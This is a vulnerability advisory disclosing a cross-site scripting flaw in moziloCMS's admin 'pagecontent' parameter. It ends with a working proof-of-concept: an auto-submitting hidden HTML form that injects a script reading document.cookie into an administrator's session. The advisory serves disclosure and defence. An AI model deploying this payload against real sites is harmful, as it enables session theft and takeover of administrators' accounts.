Cross-site Scripting (XSS) Vulnerability in moziloCMS

High-Tech Bridge SA Security Research Lab has discovered vulnerability in moziloCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in moziloCMS
The vulnerability exists due to input sanitation error in the HTTP POST parameter "pagecontent" in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access administrative interface.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main" >
<input name="pages" type="hidden" value="" />
<input name="files" type="hidden" value="" />
<input name="gals" type="hidden" value="" />
<input name="usersyntax" type="hidden" value="" />
<input name="pagecontent" type="hidden" value='some content [html|"><script>alert(document.cookie)</script>]' />
<input name="page" type="hidden" value="10_Willkommen.txt" />
<input name="action" type="hidden" value="editsite" />
<input name="cat" type="hidden" value="10_Willkommen" />
<input name="save" type="hidden" value="Save" />
<input name="saveas" type="hidden" value="normal" />
</form>
<script>
document.main.submit();
</script>